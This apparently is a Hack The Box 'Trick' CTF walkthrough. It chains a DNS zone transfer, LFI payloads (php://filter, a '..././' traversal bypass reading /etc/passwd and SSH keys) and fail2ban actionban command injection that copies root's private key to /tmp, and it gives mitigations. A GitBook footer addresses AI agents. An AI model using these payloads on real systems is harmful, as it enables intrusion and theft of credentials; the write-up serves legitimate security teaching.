> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/cpts-path/trick-htb-writeup-or-by-alham-rizvi.md).

# Trick - HTB Writeup | By Alham Rizvi

<figure><img src="/files/qUcR7LQ2mAXjBv6EIhe5" alt=""><figcaption></figcaption></figure>

> **Hack The Box Machine**\
> **Name:** Trick\
> **Difficulty:** Easy\
> **OS:** Linux (Debian)\
> **Date:** 2026-07-16

***

### Box Info

| Field      | Detail                                             |
| ---------- | -------------------------------------------------- |
| Name       | [Trick](https://app.hackthebox.com/machines/Trick) |
| OS         | Linux (Debian 10)                                  |
| Difficulty | Easy                                               |
| Release    | 2022                                               |

***

### Overview

Trick is an Easy Linux machine that demonstrates several common attack vectors:

1. **DNS Zone Transfer** – The DNS server allows zone transfers (`axfr`), leaking subdomains.
2. **Local File Inclusion (LFI)** – Two subdomains are vulnerable to LFI, allowing arbitrary file reads.
3. **SSH Private Key Exposure** – LFI is used to read `michael`'s SSH private key, granting user access.
4. **Fail2ban Configuration Abuse** – The user `michael` can restart the `fail2ban` service and is in the `security` group, allowing modification of fail2ban action scripts.
5. **Command Injection via Fail2ban** – Modifying the `actionban` script injects a command that copies the root SSH private key to a world‑readable location, granting root access.

***

### 1. Reconnaissance

#### 1.1 Port Scanning

```bash
$ nmap -sC -sV -p- 10.129.227.180
```

**Open ports:**

| Port   | Service | Notes                |
| ------ | ------- | -------------------- |
| 22/tcp | SSH     | OpenSSH 7.9p1 Debian |
| 25/tcp | SMTP    | Postfix smtpd        |
| 53/tcp | DNS     | ISC BIND 9.11.5      |
| 80/tcp | HTTP    | nginx 1.14.2         |

The DNS server is running BIND, and the web server hosts a "Coming Soon" page.

#### 1.2 DNS Enumeration

We can perform a reverse lookup to find the domain name:

```bash
$ nslookup 10.129.227.180 10.129.227.180
180.227.129.10.in-addr.arpa name = trick.htb.
```

Add `trick.htb` to `/etc/hosts`.

**DNS Zone Transfer (AXFR)**

A **zone transfer** (`axfr`) is a DNS mechanism used to replicate zone data between DNS servers. If misconfigured, it allows anyone to request the entire zone file, revealing all records.

```bash
$ dig axfr trick.htb @10.129.227.180
```

**Output:**

```
trick.htb.		604800	IN	SOA	trick.htb. root.trick.htb. 5 ...
trick.htb.		604800	IN	NS	trick.htb.
trick.htb.		604800	IN	A	127.0.0.1
preprod-payroll.trick.htb. 604800 IN	CNAME	trick.htb.
```

**Subdomains discovered:**

* `preprod-payroll.trick.htb`
* `trick.htb` (itself)

***

### 2. Web Enumeration – User

#### 2.1 Subdomain Pattern Discovery

We know the pattern `preprod-payroll.trick.htb`. Fuzzing for other `preprod-*` subdomains reveals another:

```bash
$ ffuf -u http://trick.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million.txt -H 'Host: preprod-FUZZ.trick.htb' -fw 1697
marketing               [Status: 200]
payroll                 [Status: 302]
```

**Discovered:** `preprod-marketing.trick.htb` and `preprod-payroll.trick.htb`.

Add both to `/etc/hosts`.

#### 2.2 Preprod-Payroll – Credential Discovery

Visiting `http://preprod-payroll.trick.htb/login.php` shows a login page. Directory enumeration reveals `manage_user.php`:

```bash
$ gobuster dir -u http://preprod-payroll.trick.htb/ -x php -w raft-medium-words.txt
...
manage_user.php       (Status: 200)
```

Accessing `manage_user.php?id=1` reveals the `Administrator` user's password in the HTML source:

```
Password: SuperGucciRainbowCake
```

Log in as `Enemigosss:SuperGucciRainbowCake`.

#### 2.3 Local File Inclusion (LFI) via `page` Parameter

The dashboard URL is:

```
http://preprod-payroll.trick.htb/index.php?page=home
```

The `page` parameter is vulnerable to **Local File Inclusion**. Using the `php://filter` wrapper, we can read PHP source code in Base64:

```
http://preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=home
```

Decoding the Base64 reveals `db_connect.php` is included. Reading it:

```
http://preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=db_connect
```

Decoded:

```php
<?php 
$conn= new mysqli('localhost','remo','TrulyImpossiblePasswordLmao123','payroll_db');
```

Credentials: `remo:TrulyImpossiblePasswordLmao123` (not valid for SSH).

#### 2.4 LFI on Preprod-Marketing

Visiting `http://preprod-marketing.trick.htb/index.php?page=about.html` shows a similar LFI pattern.

The application applies a simple filter that removes `../` sequences. We can bypass this using `..././` – the filter removes `../`, leaving `./`, which resolves to the parent directory.

**Bypass path:**

```
..././..././..././etc/passwd
```

The filter removes `../` from each `..././`, resulting in `../../../etc/passwd`.

**Request:**

```
http://preprod-marketing.trick.htb/index.php?page=..././..././..././etc/passwd
```

**Response:** The `/etc/passwd` file is returned, confirming LFI.

#### 2.5 Reading michael's SSH Private Key

We know the user `michael` exists from `/etc/passwd`. Read his SSH private key:

```
http://preprod-marketing.trick.htb/index.php?page=..././..././..././home/michael/.ssh/id_rsa
```

**Response:** The private key is returned.

#### 2.6 SSH Access as michael

```bash
$ chmod 600 id_rsa
$ ssh -i id_rsa michael@trick.htb
```

**User flag:**

```bash
michael@trick:~$ cat user.txt
[REDACTED]
```

***

### 3. Privilege Escalation – Fail2ban Abuse

#### 3.1 What is Fail2ban?

**Fail2ban** is an intrusion prevention tool that scans log files (e.g., `/var/log/auth.log`) and bans IPs that show malicious behaviour (e.g., multiple failed SSH login attempts). It uses **action scripts** (e.g., `iptables-multiport.conf`) to define what happens when an IP is banned (`actionban`) or unbanned (`actionunban`). These scripts are executed as **root**.

#### 3.2 Sudo Permissions

```bash
michael@trick:~$ sudo -l
User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart
```

We can restart the fail2ban service, but not edit its configuration directly – or can we?

#### 3.3 Group Membership

```bash
michael@trick:~$ groups
michael security
```

`michael` is in the `security` group. The fail2ban action directory is writable by this group:

```bash
$ ls -ld /etc/fail2ban/action.d
drwxrwx--- 2 root security 4096 ... /etc/fail2ban/action.d
```

We can modify the action scripts.

#### 3.4 Modifying the Action Script

Edit `/etc/fail2ban/action.d/iptables-multiport.conf`:

```bash
michael@trick:~$ sudo -l
# We can restart, but we don't need sudo to edit the file (group write)
michael@trick:~$ vim /etc/fail2ban/action.d/iptables-multiport.conf
```

Replace `actionban` and `actionunban` with:

```ini
actionban = cat /root/.ssh/id_rsa > /tmp/.id && chmod 777 /tmp/.id
actionunban = cat /root/.ssh/id_rsa > /tmp/.id && chmod 777 /tmp/.id
```

When fail2ban bans an IP, it will copy the root SSH private key to `/tmp/.id` and make it world‑readable.

#### 3.5 Restarting Fail2ban

```bash
michael@trick:~$ sudo /etc/init.d/fail2ban restart
```

#### 3.6 Triggering a Ban

We need to trigger a ban by making multiple failed SSH login attempts. We can use `patator` or a simple loop:

```bash
$ for i in {1..10}; do ssh invalid@trick.htb; done
```

Or use `patator`:

```bash
$ patator ssh_login host=trick.htb user=invalid password=invalid
```

After enough attempts, fail2ban bans our IP and executes the `actionban` script.

#### 3.7 Reading the Root SSH Key

```bash
michael@trick:~$ cat /tmp/.id
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
```

#### 3.8 SSH as Root

```bash
$ chmod 600 root_id_rsa
$ ssh -i root_id_rsa root@trick.htb
```

**Root flag:**

```bash
root@trick:~# cat root.txt
[REDACTED]
```

***

### 4. Active Directory Concepts Explained (for this Linux machine)

While this is a Linux machine, several concepts are transferable:

#### 4.1 DNS Zone Transfers

* **AXFR** (Asynchronous Full Transfer) is a DNS protocol operation used to replicate zone data.
* If the DNS server is misconfigured to allow zone transfers from any IP, an attacker can dump the entire zone file.
* This reveals subdomains, hostnames, and potentially internal network information.
* **Mitigation:** Restrict zone transfers to trusted IPs using `allow-transfer` in BIND.

#### 4.2 Local File Inclusion (LFI)

* LFI occurs when an application includes a file based on user‑supplied input without proper validation.
* Attackers can read arbitrary files (e.g., `/etc/passwd`, SSH keys, source code).
* **Wrappers:** PHP's `php://filter` allows reading files in Base64, bypassing restrictions that block PHP execution.
* **Bypass Techniques:** Double‑dot filtering (`../` removal) can be bypassed with nested sequences (`..././`), URL encoding, or null bytes.

#### 4.3 SSH Private Key Exposure

* SSH private keys should be stored with `600` permissions (`-rw-------`) and never be readable by other users.
* If an attacker can read `~/.ssh/id_rsa`, they can authenticate as that user without a password.
* **Mitigation:** Use strong passphrases on private keys, enforce key permissions, and use SSH certificate authentication for centralised management.

#### 4.4 Fail2ban Configuration Abuse

* Fail2ban runs actions as **root** by default.
* If the action directory is writable by a non‑root user, they can modify the action scripts to execute arbitrary commands.
* **Attack flow:**
  1. Modify `actionban` to run a malicious command.
  2. Restart fail2ban (or wait for it to restart).
  3. Trigger a ban by causing multiple failed login attempts.
  4. The malicious command runs as root.
* **Mitigation:**
  * Restrict write permissions on `/etc/fail2ban/action.d` to root only.
  * Use `sudo` with restricted commands (`/etc/init.d/fail2ban restart` should not be allowed for non‑root users).
  * Run fail2ban actions with reduced privileges where possible.

#### 4.5 Privilege Escalation via Service Configuration

* Many services run as root and execute scripts or commands based on configuration files.
* If a user can modify those configuration files (or the scripts they reference), they can escalate privileges.
* Always audit file permissions on sensitive directories like `/etc/fail2ban/`, `/etc/init.d/`, and `/etc/cron.d/`.

***

### 5. Attack Chain Summary

```mermaid
flowchart TD
    A[Recon: nmap] --> B[DNS: AXFR zone transfer]
    B --> C[Subdomains: preprod-payroll, preprod-marketing]
    C --> D[Preprod-Payroll: LFI via php://filter]
    D --> E[Read db_connect.php → remo credentials]
    E --> F[Preprod-Marketing: LFI with ..././ bypass]
    F --> G[Read /home/michael/.ssh/id_rsa]
    G --> H[SSH as michael → user flag]
    H --> I[Sudo -l: restart fail2ban]
    I --> J[Groups: michael in security group]
    J --> K[Modify /etc/fail2ban/action.d/iptables-multiport.conf]
    K --> L[actionban = cat /root/.ssh/id_rsa > /tmp/.id]
    L --> M[sudo restart fail2ban]
    M --> N[Trigger bans via failed SSH logins]
    N --> O[Read /tmp/.id → root SSH key]
    O --> P[SSH as root → root flag]
```

***

### 6. Key Takeaways

1. **DNS Zone Transfers are dangerous** – Always restrict `axfr` to trusted IPs. Zone transfers expose internal records and subdomains.
2. **LFI with wrappers can read any file** – `php://filter` bypasses execution restrictions and allows reading source code and sensitive files.
3. **Filter bypasses are common** – Simple `../` removal can be bypassed with `..././` or URL encoding. Never rely on string replacement alone.
4. **SSH private keys must be protected** – Keys should be `600` and never world‑readable. Consider using passphrases or certificate-based authentication.
5. **Fail2ban actions run as root** – If you can modify the action scripts, you can get root. Always restrict write access to `/etc/fail2ban/action.d` to root.
6. **Group permissions matter** – The `security` group had write access to the action directory. Regularly audit group permissions on sensitive directories.
7. **Service restarts can be triggered** – Even if you can't edit the service directly, restarting it after modifying its configuration can be enough.

***

### 7. Tools Used

| Tool             | Purpose                             |
| ---------------- | ----------------------------------- |
| `nmap`           | Port scanning and service detection |
| `nslookup`/`dig` | DNS enumeration and zone transfer   |
| `ffuf`           | Subdomain fuzzing                   |
| `gobuster`       | Directory enumeration               |
| `curl`           | LFI exploitation                    |
| `patator`        | Triggering fail2ban bans            |
| `ssh`            | Accessing the machine               |
| `vim`            | Editing fail2ban action scripts     |

***

### 8. Flags

| Flag | User      | Hash         |
| ---- | --------- | ------------ |
| User | `michael` | `[REDACTED]` |
| Root | `root`    | `[REDACTED]` |

***

*Machine pwned – Happy Hacking!*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/cpts-path/trick-htb-writeup-or-by-alham-rizvi.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.